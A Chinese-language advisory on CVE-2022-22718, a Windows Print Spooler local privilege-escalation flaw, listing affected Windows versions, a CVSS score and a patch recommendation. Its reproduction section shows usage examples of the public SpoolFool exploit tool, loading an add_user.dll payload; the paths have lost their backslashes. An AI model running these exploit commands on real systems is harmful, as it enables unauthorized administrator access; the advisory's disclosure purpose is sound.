CVE-2022-22718:Windows Print Spooler提權

影響范圍包括以下windows系統版本：

• windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
• Windows Server 2008 for x64-based Systems Service Pack 2
• Windows 7 for 32-bit Systems Service Pack 1
• Windows Server 2016 (Server Core installation)
• Windows Server 2016
• Windows 10 Version 1607 for x64-based Systems
• Windows 10 Version 1607 for 32-bit Systems
• Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
• Windows Server 2008 for 32-bit Systems Service Pack 2
• Windows RT 8.1
• Windows 8.1 for x64-based systems
• Windows 8.1 for 32-bit systems
• Windows 7 for x64-based Systems Service Pack 1
• Windows 10 for x64-based Systems
• Windows 10 for 32-bit Systems
• Windows 10 Version 21H2 for x64-based Systems
• Windows 10 Version 21H1 for x64-based Systems
• Windows 10 Version 1909 for ARM64-based Systems
• Windows 10 Version 1909 for x64-based Systems
• Windows 10 Version 1909 for 32-bit Systems
• Windows Server 2012 R2 (Server Core installation)
• Windows Server 2012 R2
• Windows Server 2012 (Server Core installation)
• Windows Server 2012
• Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
• Windows Server 2008 R2 for x64-based Systems Service Pack 1
• Windows 10 Version 21H2 for ARM64-based Systems
• Windows 10 Version 21H2 for 32-bit Systems
• Windows 11 for ARM64-based Systems
• Windows 11 for x64-based Systems
• Windows Server, version 20H2 (Server Core Installation)
• Windows 10 Version 20H2 for ARM64-based Systems
• Windows 10 Version 20H2 for 32-bit Systems
• Windows 10 Version 20H2 for x64-based Systems
• Windows Server 2022 azure Edition Core Hotpatch
• Windows Server 2022 (Server Core installation)
• Windows Server 2022
• Windows 10 Version 21H1 for 32-bit Systems
• Windows 10 Version 21H1 for ARM64-based Systems
• Windows Server 2019 (Server Core installation)
• Windows Server 2019
• Windows 10 Version 1809 for ARM64-based Systems
• Windows 10 Version 1809 for x64-based Systems
• Windows 10 Version 1809 for 32-bit Systems

漏洞類型：本地權限提升

利用條件影響范圍應用：漏洞影響上述所有列出的Windows版本。

漏洞概述：2022年2月9日，微軟發布了安全更新，修復了48個安全漏洞（不包括22個microsoft edge漏洞）。其中，CVE-2022-22718為Windows后臺打印程序特權提升漏洞，CVSS評分為7.7。

漏洞復現使用說明：

代碼語言：JavaScript 代碼運行次數：0

PS C:SpoolFool> .SpoolFool.exe SpoolFool  By Oliver Lyak (@ly4k_) Examples:    C:SpoolFoolSpoolFool.exe -dll add_user.dll    C:SpoolFoolSpoolFool.exe -dll add_user.dll -printer 'My Printer'    C:SpoolFoolSpoolFool.exe -dll add_user.dll -dir 'SECRET'    C:SpoolFoolSpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

PowerShell：

代碼語言：JavaScript 代碼運行次數：0

PS C:SpoolFool> ipmo .SpoolFool.ps1 PS C:SpoolFool> Invoke-SpoolFool SpoolFool  By Oliver Lyak (@ly4k_) Examples:    -dll add_user.dll    -dll add_user.dll -printer 'My Printer'    -dll add_user.dll -dir 'SECRET'    -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

安全建議：升級到最新版本以確保系統安全。